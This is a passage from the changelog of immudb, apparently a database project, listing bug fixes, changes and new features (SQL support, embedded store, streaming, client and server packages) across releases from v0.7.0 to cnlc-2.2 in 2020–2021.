towards supporting filtered aggregations\n- **pkg/sql:** towards group by and aggregations support\n- **pkg/sql:** noWait for indexing mode\n- **pkg/sql:** improved nullable support\n- **pkg/sql:** towards GROUP BY support\n- **pkg/sql:** implements NOW() function\n- **pkg/sql:** list and describe tables\n- **pkg/sql:** LIMIT clause to determine max number of returned rows\n- **pkg/sql:** queries over older data\n- **pkg/sql:** parameters support\n- **pkg/sql:** initial parameters support\n- **pkg/sql:** towards parameter support\n- **pkg/sql:** support for SELECT * FROM queries\n- **pkg/sql:** row projection\n- **pkg/sql:** towards projected rows\n- **pkg/sql:** auto-commit multi-statement script\n- **pkg/sql:** subquery aliases\n- **pkg/sql:** support for WHERE clause\n- **pkg/sql:** towards row filtering with conditional readers\n- **pkg/sql:** support for boolean values\n- **pkg/sql:** index reloading\n- **pkg/sql:** catalog reloading\n- **pkg/sql:** ASC/DESC row sorting by any indexed column\n- **pkg/sql:** implements CREATE INDEX stmt\n- **pkg/sql:** support of foreign keys of any pk type\n- **pkg/sql:** multiple joins support\n- **pkg/sql:** col selector binding\n- **pkg/sql:** aggregations without row grouping\n- **pkg/sql:** seekable, ordered and filtered table scan\n- **pkg/sql:** ordering in descending mode\n- **pkg/sql:** towards ordering row scans\n- **pkg/sql:** towards query resolution with multiple datasources\n- **pkg/sql:** towards query processing\n- **pkg/sql:** upsert processing\n- **pkg/sql:** towards insert into statement processing\n- **pkg/sql:** table creation with primary key\n- **pkg/sql:** primary key spec\n- **pkg/sql:** initial work on sql engine\n- **pkg/sql:** multi-line scripts\n- **pkg/sql:** snapshot support\n- **pkg/sql:** support for comments\n- **pkg/sql:** support for EXISTS in subquery\n- **pkg/sql:** support for INNER, LEFT and RIGHT joins\n- **pkg/sql:** support for parameters\n- **pkg/sql:** support for system values e.g. TIME\n- **pkg/sql:** aggregated functions\n- **pkg/sql:** use colSelector instead of identifiers\n- **pkg/sql:** expressions parsing\n- **pkg/sql:** multi-db queries\n- **pkg/sql:** multi-row insertion\n- **pkg/sql:** initial support for SELECT statement\n- **pkg/sql:** transactional support\n- **pkg/sql:** support for insertions\n- **pkg/sql:** support table modifications\n- **pkg/sql:** support index creation\n- **pkg/sql:** include column specs\n- **pkg/sql:** partial grammar with multiple statements\n- **pkg/sql:** initial commit for sql support\n\n\n<a name=\"cnlc-2.2\"></a>\n## [cnlc-2.2] - 2021-04-28\n### Bug Fixes\n- update Discord invite link\n- readme typo and mascot placement ([#693](https://github.com/vchain-us/immudb/issues/693))\n- **embedded/store:** ensure done message is received\n- **pkg/client:** delete token file on logout only if the file exists\n\n### Changes\n- github workflow to run stress_tool ([#714](https://github.com/vchain-us/immudb/issues/714))\n- README SDK description and links ([#717](https://github.com/vchain-us/immudb/issues/717))\n- fix immugw support\n- Add roadmap\n- Add benchmark to README (based on 0.9.x) ([#706](https://github.com/vchain-us/immudb/issues/706))\n- remove grpc term from token expiration description\n- **embedded/store:** use specified sync mode also for the incremental hash tree\n- **embedded/store:** check latest indexed tx is not greater than latest committed one\n- **embedded/store:** defer lock releasing\n- **pkg/client/clienttest:** add VerifiedGetAt mock method\n- **pkg/database:** use newly exposed KeyReaderSpec\n\n### Features\n- add token expiration time flag\n- **embedded/store:** readAsBefore and reset reader\n- **pkg/sql:** readAsBefore operation\n\n\n<a name=\"v0.9.2\"></a>\n## [v0.9.2] - 2021-04-08\n### Bug Fixes\n- include AtTx in StreamZScan response\n- password reader 'inappropriate ioctl for device' from stdin ([#658](https://github.com/vchain-us/immudb/issues/658))\n- fix StreamVerifiedSet and Get and add an (integration) test for them\n- fix inclusion proofs in StreamVerifiedSet and Get\n- **embedded:** use mutex to sync ops at tx lru-cache\n- **embedded:** fix data races\n- **embedded/store:** ensure waitees get notified when store is restarted\n- **embedded/store:** remove checking for closed store when fetching any vlog\n- **embedded/store:** continue indexing once index is replaced with compacted index\n- **embedded/store:** set delay with duration in ms\n- **embedded/store:** fix indexing sync and error retrieval\n- **embedded/store:** ensure watchers get notified when indexing is up-to-date\n- **embedded/store:** sync ReadTx operation\n- **embedded/tbtree:** set lastSnapshot once flushed is completed\n- **embedded/tbtree:** insertion delay while compacting not affecting compaction\n- **embedded/tbtree:** release lock when compaction thld was not reached\n- **pkg/auth:** add missing stream write methods to permissions\n- **pkg/client:** fix minor leftover\n- **pkg/client:** fix security issue: if client local state became corrupted an error is returned\n- **pkg/client:** ensure dual proof verification is made when there is a previously verified state\n- **pkg/database:** wrap seekKey with prefix only when seekKey is non-empty\n- **pkg/server:** use latest snapshot when listing users\n\n### Changes\n- refactor code quality issues\n- improve serverside stream error handling\n- remove fake proveSinceTxBs key send in streamVerifiableSet\n- polish streams methods and add comments\n- renaming stream methods\n- updating copyright\n- renaming stream methods, add stubs and stream service factory\n- in server store creation max value entry is fixed to 32Mb\n- set stream supports multiple key values\n- mocked server uses the inner immudb grpc server and can be gracefully stopped\n- fixed minimum chunk size at 4096 bytes\n- add max tx values length guard and remove code duplication\n- fix binary notation\n- move stream service to a proper package\n- add video streamer command\n- increase stream coverage and add a guard if key is present on a stream but no value is found\n- **embedded:** fix some typos with comments\n- **embedded:** remove unused cbuffer package\n- **embedded:** log indexing notifications\n- **embedded:** descriptive logs on indexing and already closed errors\n- **embedded:** add logs into relevant operations\n- **embedded:** add logger\n- **embedded:** compaction and snapshot handling\n- **embedded/appendable:** thread-safe multi-appendable\n- **embedded/appendable:** sync before copying appendable content\n- **embedded/appendable:** multi-appendable fine-grained locking\n- **embedded/store:** remove conditional locking before dumping index\n- **embedded/store:** general improvements on snapshot management\n- **embedded/store:** leverage fine-grained locking when reading tx data\n- **embedded/store:** stop indexing while commiting with callback\n- **embedded/store:** use buffered channel instead of a circular buffer\n- **embedded/store:** remove duplicated logging\n- **embedded/store:** set max file size to 2Gb ([#649](https://github.com/vchain-us/immudb/issues/649))\n- **embedded/store:** lock-less readTx\n- **embedded/store:** set a limit on indexing iteration\n- **embedded/store:** log number of transactions yet to be indexed\n- **embedded/tbtree:** optimize seek position\n- **embedded/tbtree:** revert seek key setting\n- **embedded/tbtree:** optimize seek position\n- **embedded/tbtree:** terminate reader if prefix won't match any more\n- **embedded/tbtree:** sync before dumping\n- **embedded/tbtree:** sync key-history log during compaction\n- **embedded/watchers:** broadcasting optimisation\n- **embedded/watchers:** minor renaming\n- **embedded/watchers:** accept non-continuous notification\n- **pkg/client:** add stream service factory on client and increase stream coverage\n- **pkg/client:** add GetKeyValuesFromFiles helper method\n- **pkg/client:** add a guard to check for min chunk size\n- **pkg/client:** remove local files tests\n- **pkg/client:** maps server error on client package\n- **pkg/client:** integration test is skipped if immudb server is not present\n- **pkg/database:** return error while waiting for index to be up to date\n- **pkg/database:** ensure scan runs over fully up-to-date snapshot\n- **pkg/database:** return error while waiting for index to be up to date\n- **pkg/database:** use in-mem current snapshot in execAll operation\n- **pkg/database:** illegal state guard is added to verifiable get and getTx methods\n- **pkg/database:** leverage lightweight waiting features of embedded store\n- **pkg/server:** add a guard to check for min chunk size\n- **pkg/server:** add server error mapper interceptor\n- **pkg/server:** add small delay for indexing to be completed\n- **pkg/server:** max recv msg size is set to 32M\n- **pkg/server:** revert quit chan exposure\n- **pkg/server:** exposes Quit chan\n- **pkg/stream:** add more corner cases guards\n- **pkg/stream:** add some comments to mesasge receiver\n- **pkg/stream:** remove duplicated code\n- **pkg/stream:** renamed stream test package\n- **pkg/stream:** add a guard to detect ErrNotEnoughDataOnStream on client side\n- **pkg/stream:** remove bufio.reader when not needed\n- **pkg/stream:** remove bufio and add ventryreceiver unit test\n- **pkg/stream:** add ErrNotEnoughDataOnStream error and ImmuServiceReceiver_StreamMock\n- **pkg/stream/streamtest:** add dummy file generator\n- **tools:** fix copyright\n- **tools/stream:** get stream content directly from immudb\n- **tools/stream/benchmark:** add stream benchmark command\n- **tools/stream/benchmark/streamb:** add SinceTx value to getStream\n\n### Code Refactoring\n- stream kvreceiver expose Next method to iterate over key values\n- stream receiver implements reader interface\n- use of explicit messages for stream request\n- **pkg/stream:** use ParseValue func in zreceiver and remove the redundant readSmallMsg func\n- **pkg/stream:** refactor receiver to increase simplicity\n\n### Features\n- Remove unnecessary dependencies ([#665](https://github.com/vchain-us/immudb/issues/665))\n- add support for user, password and database flags in immuclient ([#659](https://github.com/vchain-us/immudb/issues/659))\n- increase default store max value length to 32MB\n- add client->server stream handler\n- refactors and implement server->client stream handler\n- Add StreamVerifiedSet and StreamVerifiedGet\n- add flusher to stream data to client\n- chunk size is passed as argument in client and server\n- add Stream Scan and client stream ServiceFactory\n- **embedded/store:** integrate watchers to support indexing synchronicity\n- **embedded/store:** configurable compaction threshold to set the min number of snapshots for a compaction to be done\n- **embedded/store:** expose insertion delay while compacting\n- **embedded/store:** tx header cache to speed up indexing\n- **embedded/tbtree:** automatically set seekKey based on prefixKey when it's not set\n- **embedded/tbtree:** configurable insertion delay while compaction is in progress\n- **embedded/watchers:** lightweight watching center\n- **embedded/watchers:** fetchable current state\n- **pkg/client:** handle illegal state error\n- **pkg/database:** non-blocking index compaction\n- **pkg/database:** non-blocking, no history compaction\n- **pkg/database:** default scan parameters using up-to-date snapshot\n- **pkg/server:** add signature on stream verifiable methods and tests\n- **pkg/stream:** add exec all stream\n\n\n<a name=\"v0.9.1\"></a>\n## [v0.9.1] - 2021-02-08\n### Bug Fixes\n- **cmd/sservice:** fix services management and add permissions guard\n- **cmd/sservice:** fix group creation linux cross command\n- **embedded/history:** read history log file to set initial offset\n- **embedded/store:** copy key inside TxEntry constructor\n- **embedded/store:** mutex on txlog\n- **embedded/store:** continued indexing\n- **embedded/store:** fix indexing sync ([#621](https://github.com/vchain-us/immudb/issues/621))\n- **embedded/tbtree:** determine entry by provided seekKey\n- **embedded/tbtree:** fix key history ordering ([#619](https://github.com/vchain-us/immudb/issues/619))\n- **embedded/tbtree:** prevNode nil comparisson\n- **embedded/tbtree:** use minkey for desc scan\n- **pkg/client:** fix verifiedGetAt\n- **pkg/client/auditor:** hide auditor password in logs\n- **pkg/client/cache:** return an error if no state is found\n- **pkg/database:** check key does not exists in latest state\n- **pkg/server:** set default settings within DefaultStoreOptions method\n\n### Changes\n- update acknowledgments\n- **cmd/sservice:** minor fixes\n- **embeddded/tbtree:** reduce mem allocs\n- **embedded:** expose store opts\n- **embedded:** refactor TxEntry\n- **embedded/store:** adapt after History changes\n- **embedded/store:** move TxReader code to its own file\n- **embedded/store:** renamed reader as KeyReader\n- **embedded/store:** use conditional locking in indexing thread\n- **embedded/store:** minor KeyReader renaming\n- **embedded/store:** validates targetTx is consistent with proof len\n- **embedded/store:** sync access to commit and tx logs\n- **embedded/store/options.go:** increase DefaultMaxKeyLen\n- **embedded/tbtree:** offset map per branch\n- **embedded/tbtree:** return ErrOffsetOutOfRange if invalid offset was provided\n- **embedded/tbtree:** reduce mem consumption\n- **embedded/tbtree:** history log file\n- **embedded/tbtree:** configurable max key length\n- **embedded/tbtree:** change history file extension\n- **pkg:** unit testing index cleanup, use selected db\n- **pkg:** current db included in signed state\n- **pkg/api:** minor changes in TxScan message\n- **pkg/api:** history limit as int32\n- **pkg/api:** include server uuid and db name into state message\n- **pkg/client:** validate returned entries from metadata\n- **pkg/client:** bound reference if atTx is provided in VerifiedSetReferenceAt\n- **pkg/client:** use indexing specified in GetRequest\n- **pkg/client:** strip prefix from returned keys in txById and verifiedTxById\n- **pkg/client:** add state service lock and unlock capabilities\n- **pkg/client:** set bound on SetReference and ZAdd\n- **pkg/database:** unsafe read tx inside CommitWith callback\n- **pkg/database:** catch NoMoreEntries error and return empty list on scan and zscan operations\n- **pkg/database:** return empty list if offset is out of range\n- **pkg/database:** initial implementation of ExecAll with CommitWith\n- **pkg/server:** naming conventions\n- **pkg/server:** server mock wrapping default server implementation\n- **pkg/server:** include uuid and db as result of verifiable operations\n- **pkg/server:** initialize mts options\n- **pkg/server:** expose store opts\n- **pkg/server:** use server wrapper to enable post processing of results\n- **pkg/server:** set default max value lenght to 1Mb\n- **pkg/server:** change server default options. Max key value to 10kb\n\n### Features\n- **cmd/immuadmin:** db index cleanup\n- **embedded:** history with offset and limit, key updates counting\n- **embedded/appendable:** flush and seek to start before copying\n- **embedded/appendable:** implements Copy function\n- **embedded/appendable:** check no closed and flush before copying\n- **embedded/store:** commitWith callback receiving assigned txID\n- **embedded/store:** TxScan asc/desc order\n- **embedded/store:** index cleanup\n- **embedded/store:** allow increasing max value size after creation time\n- **embedded/tbtree:** full dump of current snapshot\n- **embedded/tbtree:** complete history implementation\n- **embedded/tbtree:** HistoryReader to iterate over key updates\n- **embedded/tbtree:** full dump using copy on history log\n- **pkg:** index cleanup service\n- **pkg/client:** add state file locker\n- **pkg/client:** add verifiedGetSince\n- **pkg/client:** implementation of TxScan operation\n- **pkg/database:** history with offset and limit\n- **pkg/database:** TxScan implementation\n- **pkg/database:** support for free and bound references\n- **pkg/database:** KeyRequest retrieves key at a specific tx or since a given tx\n- **pkg/server:** sign new state within verifiable operations\n- **pkg/server:** use exposed synced mode\n\n\n<a name=\"v0.9.0\"></a>\n## [v0.9.0] - 2021-01-07\n### Bug Fixes\n- remove badger metrics and fix stats command\n- **cmd/immuadmin/command:** fix immuadmin stats ([#592](https://github.com/vchain-us/immudb/issues/592))\n- **pkg/database:** enable scan on fresh snapshot\n- **pkg/server:** shutdown handlers and metrics server are moved in start method\n\n### Changes\n- removing audit-signature and add serverSigningPubKey\n- remove print tree method\n- restore inmemory_cache test\n- **cmd/immuadmin:** temporary disable stats functionality\n- **pkg/api:** upgrade rest endpoints\n- **pkg/client:** implement missing methods in immuclient mock\n- **pkg/server:** temporary remove proactive corruption checker ([#595](https://github.com/vchain-us/immudb/issues/595))\n\n### Features\n- add signature verification with a submitted public key\n\n\n<a name=\"v0.9.0-RC2\"></a>\n## [v0.9.0-RC2] - 2020-12-29\n### Bug Fixes\n- **cmd/immuadmin/command:** fix unit tests\n- **cmd/immuclient:** fix unit tests\n- **embedded/tbtree:** sync GetTs to prevent data races\n- **pkg/api:** change order of validations when checking state signature\n\n### Changes\n- adapt coverage to the new server implementation\n- fix immuserver mock\n- **cmd/immuadmin:** disable stats and removed print tree command\n- **cmd/immuclient:** print verified label when executing safereference\n- **pkg/client:** update service mock to new API\n- **pkg/database:** add input validations during verifiable set\n- **pkg/database:** implements History using lock-based operation\n\n### Code Refactoring\n- uniform server and client tests\n- improving buffconn server with splitting start method in initialization and start\n\n### Features\n- **embedded/store:** implements lock-based History without requiring snapshot creation\n- **pkg/client:** update auditor implementation to new server API\n- **pkg/client:** implementation of client-side verifiedZAdd\n- **pkg/client:** implements VerifiedSetReference\n- **pkg/database:** implementation of verifiableZAdd\n- **pkg/database:** implementation of VerifiableSetReference\n\n\n<a name=\"v0.9.0-RC1\"></a>\n## [v0.9.0-RC1] - 2020-12-22\n### Bug Fixes\n- **cmd/immuclient:** print referenced key\n- **cmd/immuclient:** print referenced key\n- **embedded/store:** fix race condition\n- **embedded/store:** fix race condition\n- **embedded/store:** contemplate bad-formated proof\n- **embedded/tbtree:** fix issue when initialKey is greater than keys\n- **pkg/common:** fix leftover in index wrapper\n- **pkg/database:** add cyclic references validation during resolution\n- **pkg/database:** working scan and zscan without pagination\n- **pkg/database:** adjust execAll method\n- **pkg/database:** referenced key lookup when atTx is non-zero\n- **pkg/database:** use EncodeReference in ExecAllIOps\n- **pkg/database:** lookup for referenced key when atTx is non-zero\n- **pkg/databse:** encoding of reference and zadd\n\n### Changes\n- proof proto definition\n- datatype conversion methods\n- remove badger and merkletree dependencies\n- inject store reader inside zscan\n- partial fix of scan test\n- new proto definitions\n- **api/schema:** removed consistency method\n- **cmd:** adjusted commandline tools\n- **cmd/immuclient:** add support for safe operations\n- **cmd/immuclient:** add verified operations\n- **database:** implements safeSet operation\n- **database:** implements ByIndex operation\n- **database:** implements safeByIndex operation\n- **database:** contemplates the case not previously verified tx\n- **database:** several fixes and unit testing adaptation\n- **embedded:** rename as SnapshotSince\n- **embedded/htree:** internal linear proof renaming\n- **embedded/htree:** minor changes in proof struct\n- **embedded/store:** add method to retrieve tx metadata\n- **embedded/store:** minor proof renaming\n- **embedded/store:** return txMetadata when tx on commit\n- **embedded/store:** return ErrTxNotFound when attemping to read non-existent tx\n- **embedded/store:** minor changes in proof struct\n- **embedded/store:** allow empty values and don't attempt to store in vlog\n- **embedded/store:** add tx constructor with entries\n- **embedded/store:** adjustments on store reader\n- **embedded/store:** change tx proof method signature\n- **embedded/store:** wrap keyNotFound index error\n- **embedded/store:** add snapshotAt and adjust based on it\n- **pkg:** rename to CurrentState\n- **pkg:** several minor changes\n- **pkg:** rename to ReferenceRequest\n- **pkg:** rename to sinceTx\n- **pkg/api:** add vLen property to TxEntry\n- **pkg/api:** new proof messages\n- **pkg/api:** several improvements on grpc api\n- **pkg/api:** remove digest data type\n- **pkg/api:** rename to Entry and ZEntry and embedded Reference\n- **pkg/api:** add copyright notice\n- **pkg/api:** new server proto definition\n- **pkg/auth:** adjust permissions based on new api\n- **pkg/client:** adjusted client providers\n- **pkg/client:** adjusted golang client\n- **pkg/client:** add safe method alises for backwards familiarity\n- **pkg/client:** minor renaming to improve readability\n- **pkg/database:** zscan order with tx after key\n- **pkg/database:** implements new DB api using embedded storage\n- **pkg/database:** add sinceTx to reference and make it handle key prefixes\n- **pkg/database:** remove ambiguity in references\n- **pkg/database:** minor adjustments\n- **pkg/database:** get from snapshot or directly from store\n- **pkg/database:** return functionality not yet implemented for VerifiableSetReference\n- **pkg/database:** wait for indexing on execAll\n- **pkg/database:** delay locking until indexing is done\n- **pkg/database:** mutex for reusable txs\n- **pkg/database:** fix get/set with prefix wrapping/unwrapping\n- **pkg/database:** fixed methods with prefix mgmt, including scan\n- **pkg/ring:** remove ring pkg\n- **pkg/server:** proof construction in safeget operation\n- **pkg/server:** disable proactive corruption checker\n- **pkg/server:** partial use of embedded storage\n- **pkg/server:** return number of tx as db size\n- **pkg/server:** getBatch operation\n- **pkg/server:** adjusted state signer\n- **pkg/server:** adjusted UUID handler\n- **pkg/server:** prevent logging request details\n- **pkg/server:** adapt implementation to new api\n- **pkg/server:** adapt to new database implementation\n- **pkg/server:** disable cc\n- **pkg/server:** remove in-memory option\n- **pkg/server:** implements history operation\n- **pkg/server:** comment unimplemented GetReference method\n- **pkg/store:** moved package\n- **pkg/tbree:** reader with descOrder\n- **server:** implements safeGet\n- **server/api:** minor changes in Item element\n\n### Code Refactoring\n- **pkg/server:** add database interface and inject in server package\n- **pkg/server:** move database to new package\n\n### Features\n- partial implementation of safeGet\n- add store reader, scan and sorted sets\n- **embedded:** add Get operation without the need of a snapshot\n- **embedded:** inclusiveSeek point when reading\n- **embedded/tbtree:** use seek and prefix\n- **pkg/client:** implements latest server API\n- **pkg/client:** add GetSince method\n- **pkg/database:** uniform implementation for set, references, zadd, scan and zscan operations\n- **pkg/database:** verify reference upon key resolution\n- **pkg/database:** complete set and get reference methods\n- **pkg/database:** add execAllOps\n- **pkg/database:** support for seekable scanning\n- **pkg/database:** consistent reference handling, prevent cyclic references\n- **pkg/server:** expose store options\n\n\n<a name=\"v0.8.1\"></a>\n## [v0.8.1] - 2020-12-08\n### Bug Fixes\n- file ext removal\n- consider the case when key was not yet inserted\n- add permissions for the new CountAll gRPC method\n- fix batchOps tests and minors fix for zAdd sorted set key generation\n- avoid duplicate index insertion in zAdd batch operation transaction\n- restore current offset after reading compressed data\n- encode metadata numeric fields with 64bits\n- appendable extensions without dot\n- set fileSize after reading values from metadata\n- read metadata before reading\n- pass compression settings into newly created single-file appendable\n- compression with bigger values\n- compression with multiple-files\n- appID parsing from filename\n- set new appendable id when changing current appendable\n- typos\n- fix batchOps permission and clean sv ones\n- return EOF when data cannot be fully read from appendables\n- **embedded:** set correct offset while reading node\n- **embedded/store:** release tx before linear proof generation\n- **embedded/store:** use verificatication methods for dual proof evaluation\n- **embedded/tools:** catch ErrNoMoreEntries when iterating over txs ([#569](https://github.com/vchain-us/immudb/issues/569))\n- **pkg:** handle expired token error\n- **pkg/client:** handle rootservice error inside constructor\n- **pkg/client:** token service is not mandatory for setup a client\n- **pkg/store:** fix bug on lexicographical read of multiple sets\n- **pkg/store:** fix reverse history pagination\n- **pkg/store:** move separator at the beginning of a keyset\n- **pkg/store:** fix scan and add tests for pagination\n- **pkg/store:** scan item now contains immudb index, not badger timestamp\n- **pkg/store:** fixes issue [#532](https://github.com/vchain-us/immudb/issues/532) ([#549](https://github.com/vchain-us/immudb/issues/549))\n- **pkg/store:** fix key set generation. index reference flag (0,1 bit) is put at the end of the key to mantain lexicographical properties\n- **pkg/store:** in reference based command key is optional if index is provided. Increase code coverage\n\n### Changes\n- copy on insert and fresh snapshots\n- moved stress_tool under tools folder\n- close appendable hash tree on close\n- update readme with SDKs urls ([#506](https://github.com/vchain-us/immudb/issues/506))\n- include github stars over time chart ([#509](https://github.com/vchain-us/immudb/issues/509))\n- fix naming conventions\n- export uwrap and wrap value method to be used in nimmu\n- link to immuchallenge repo ([#528](https://github.com/vchain-us/immudb/issues/528))\n- fix typo in cmd help ([#541](https://github.com/vchain-us/immudb/issues/541))\n- renaming set key generation method\n- remove *sv methods\n- print commiting status after sync\n- root method without error\n- cbuffer pkg\n- cbuffer pkg\n- use constants for field len\n- simplify linear proof\n- remove verification during indexing\n- unify kv hash calculation\n- LinearProof verification\n- minor code change\n- multierror handling on close func\n- multierror handling on close func\n- error naming\n- error naming\n- unify options for appendables\n- unify naming\n- move options validations to options file\n- minor changes in append operation\n- hash tree construction\n- advances in hash tree and proof construction\n- make spec read fields public\n- implement commit log for btree and improved reduced dump\n- txi commit file ext\n- aof as default file ext\n- sync also applies to index\n- panic if set key fails\n- panic when close returns an error\n- validate clog size after setting fileSize from metadata\n- index file extensions\n- return after auto mode\n- mode as required flag\n- renamed to IndexInfo\n- random and monotonic keys\n- split code into files, index options exposed for external config\n- support for historical value tracing\n- changes on historical value tracing\n- validate hvalue when reading value from vlog\n- newTx method using store values\n- check for non-duplication within same tx\n- when txInclusion is true then txLinking is made as well\n- options validation\n- close index when closing store\n- add VERSION to metadata section\n- time-based flushing\n- do not store hvalue in index\n- solved concurrency issues\n- changes to solve and improve concurrency\n- minor changes in stress tool\n- unit testing\n- change max value length to 64Mb\n- set fileSize based on initial value set at creation time\n- return partially written number of bytes when write is not completed\n- reorg appendable packages\n- when compression is enabled, each append takes place into a single file\n- renamed filesize flag\n- use channels for communicating data offsets\n- close txlog after completion\n- random key-value generation in stress tool\n- kv alloc inside tx prep\n- parallel IO non-exclusive yet synchorinized with store closing\n- open with appendables to facilitate parallel IO\n- spec parallel IO in stress tool\n- appendale with path\n- preparing for parallel IO\n- optimized hashtree generation\n- minor internal change on commit tx method\n- time only considering commit time\n- don't print dots if printAfter is 0\n- don't print dots if printAfter is 0\n- minor typo in error message\n- preparing for concurrency optimization\n- increase testing timeout\n- close commit log file\n- return EOF when available content is less than buffer size\n- make key-value struct public\n- initial commit with functional implementation\n- move set and get batch in a separate file\n- fix naming conventions and typos\n- add setBatch, getBatch, setBatchOps method in mock client\n- improved comprehensibility of the immudb configuration file\n- add more batchOps tests, fixing naming typo\n- renaming batchOps in ops and SetBatchOps in ExecAllOps\n- fix immudb consistency diagram\n- add more tests and remove code duplications\n- **embedded/store:** return ErrNoMoreEntries when all tx has been read\n- **embedded/store:** permit immediate snapshot renewals\n- **embedded/store:** pre-allocated tx pool used for indexing and proofs\n- **embedded/store:** use embedded reusable built-at-once hash tree\n- **embedded/store:** internal changes to use innerhash for proof generation\n- **embedded/store:** sleep binary linking thread until txs are committed ([#572](https://github.com/vchain-us/immudb/issues/572))\n- **embedded/store:** changed defaults\n- **embedded/store:** add data consistency validation during dual proof construction\n- **embedded/store:** pre-allocated tx pool used with dual proof\n- **embedded/store:** sleep indexing thread until there are entries to be indexed\n- **pkg/api/schema:** increase code readability\n- **pkg/auth:** fix get batch permissions\n- **pkg/client:** fix comment\n- **pkg/client:** client exposes structured values conversion tools\n- **pkg/client/clienttest:** add inclusion, consistency, byIndex mock methods\n- **pkg/client/clienttest:** add missing method inside service client mock\n- **pkg/client/clienttest:** add mock service client constructor\n- **pkg/client/timestamp:** fix naming convention\n- **pkg/server:** add database name server validator\n- **pkg/server:** remove ScanSV test\n- **pkg/store:** add consistency check on zadd and safezadd index reference method and tests\n- **pkg/store:** move reference code to a dedicated file\n- **pkg/store:** fix comments in test\n- **server:** enhance namings related audit report notification\n\n### Code Refactoring\n- batch ops produces monotonic ts sequences, index is mandatory if reference key is already persisted\n- **pkg/client:** decoupled immuclient from rootService\n- **pkg/store:** get resolve reference only by key\n- **pkg/store:** add set separator. Fixes [#51](https://github.com/vchain-us/immudb/issues/51)\n\n### Features\n- set compression setting into value logs\n- root returns number of entries\n- payload and digest lru caches\n- replay missing binary linking entries\n- binary linking in-memory integration\n- towards data compression capabilities\n- dual proof construction and verification\n- towards linear and dual proofs\n- dual proof and liearProof against target accumulative linear hash\n- dual cryptographic linking\n- store immutable settings into metadata section\n- towards dual cryprographic linking\n- inclusion and consistency verification algorithms\n- consistency proof\n- multierr custom error wrapping multiple errors when closing the store\n- several improvements, data by index\n- towards persistent storage of mutable hash tree\n- ongoing implementation of appendable hash tree\n- add sync method\n- TxReader starts from a txID\n- IndexInfo to return up to which tx was indexed and error status of indexing task\n- add interactive mode for get/set key values\n- add method for reading value of a key within a tx\n- retrieve the list of ts at which a key was updated\n- key updates tracing to support historical reading\n- back btree with multi-appendables\n- add read numeric values\n- initial indexing\n- towards k-indexing\n- getReference is exposed throught gRPC server and in SDK\n- add lzw compression format\n- data compression support by stress tool\n- data compression\n- towards data compression capabilities\n- add flag to stress_tool to specify if values are random or fixed\n- client supports paginated scan, zscan, history\n- store accumulative linear hash into mutable hash tree\n- add log file sizes and number of openned files per log type flags\n- enable file mgmt settings\n- multi-file appendables\n- add metadata to appendables\n- include full tx validation and fixed sync issue\n- full committed tx verification against input kv data\n- add key and value length params in stress tool\n- parallel IO support\n- optimized for concurrent committers\n- added concurrent committers to stress tool\n- add cryptographic linking verification of transactions\n- add method to retrieve number of committed txs\n- export sync mode config\n- add batchOps reference operation\n- expose CountAll through gRPC\n- configurable max incomming msg size ([#526](https://github.com/vchain-us/immudb/issues/526))\n- extend sorted set to support multiple equals key\n- enhance auditor to publish tampering details at a specified URL (optional)\n- add ZScan pagination\n- rearrange badges on README ([#555](https://github.com/vchain-us/immudb/issues/555))\n- Add awesome-go badge ([#554](https://github.com/vchain-us/immudb/issues/554))\n- add history pagination\n- add reverse zscan and reverse history pagination\n- add atomic operations method\n- **embedded/htree:** reusable build-at-once hash tree\n- **embedded/store:** add Alh method to get last committed tx ID and alh ([#570](https://github.com/vchain-us/immudb/issues/570))\n- **pkg/client:** add SetAll operation for simple  multi-kv atomic insertion ([#556](https://github.com/vchain-us/immudb/issues/556))\n- **pkg/client:** sdk support index reference resolving)\n- **pkg/client:** sdk support execAllOps\n- **pkg/client/auditor:** enhance auditor to always send audit notification (even when no tampering was detected) if a notification URL is specified\n- **pkg/store:** sorted sets support multiple equal keys with same score\n- **pkg/store:** reference support index resolution\n- **server:** add --audit-databases optional auditor flag\n\n### Reverts\n- chore: increase testing timeout\n\n\n<a name=\"v0.8.0\"></a>\n## [v0.8.0] - 2020-09-15\n### Bug Fixes\n- **pkg/client:** setBatch creates structured values\n\n### Changes\n- fix immugw dependency to support new root structure\n- update readme, add immudb4j news ([#488](https://github.com/vchain-us/immudb/issues/488))\n- update README file ([#487](https://github.com/vchain-us/immudb/issues/487))\n- switching README.md end lines to LF\n- **cmd:** add signingKey flag\n- **cmd:** remove error suppression in config loader\n- **cmd/immutest/command:** remove immugw dependency from immutest\n- **pkg:** add kvlist validator ([#498](https://github.com/vchain-us/immudb/issues/498))\n- **pkg/server:** log uuid set and get error\n- **pkg/server:** log signer initialization in immudb start\n\n### Code Refactoring\n- wrap root hash and index in a new structure to support signature\n- move immugw in a separate repository\n- **pkg/server:** inject root signer service inside immudb server\n\n### Features\n- auditor verifies root signature\n- **pkg:** add root signer service\n- **pkg/signer:** add ecdsa signer\n\n\n<a name=\"v0.7.1\"></a>\n## [v0.7.1] - 2020-08-17\n### Bug Fixes\n- fix immudb and immugw version and mangen commands errors Without this change, while immuclient and immuadmin still worked as expected, immudb and immugw version and mangen commands were throwing the following error: ./immugw version Error: flag accessed but not defined: config Usage:   immugw version [flags]\n- fix immuclient audit-mode\n- **cmd/immuadmin/command:** fix immuadmin dbswitch\n- **pkg/client:** token service manages old token format\n\n### Code Refactoring\n- configs file are loaded in viper preRun method\n\n### Features\n- **cmd:** process launcher check if are present another istances. fixes [#168](https://github.com/vchain-us/immudb/issues/168)\n\n\n<a name=\"v0.7.0\"></a>\n## [v0.7.0] - 2020-08-10\n### Bug Fixes\n- fix travis build sleep time\n- chose defaultdb on user create if not in multiple db mode\n- use the correct server logger and use a dedicated logger with warning level for the db store\n- use dedicated logger for store\n- fix compilation error in corruption checker test\n- user list showing only the superadmin user even when other user exist\n- fix multiple services config uninstall\n- userlist returns wrong message when logged in as immudb with single database\n- race condition in token eviction\n- skip loading databases from disk when in memory is requested\n- remove os.Exit(0) from disconnect method\n- fix DefaultPasswordReader initialization. fixes [#404](https://github.com/vchain-us/immudb/issues/404)\n- if custom port is <= 0 use default port for both immudb and immugw\n- fix immugw failing to start with nil pointer dereference since gRPC dial options are inherited (bug was introduced in commit a4477e2e403ab35fc9392e0a3a2d8436a5806901)\n- **cmd/immuadmin/command:** fix user list output to support multiple databases (with permissions) for the same user\n- **pkg/auth:** if new auth token is found in outgoing context it replaced the old one\n- **pkg/client:** use database set internally database name\n- **pkg/client:** inherit dial options that came from constructor\n- **pkg/fs:** don't overwrite copy error on Close malfunction. Sync seals the operation–not Close.\n- **pkg/gw:** fix client option 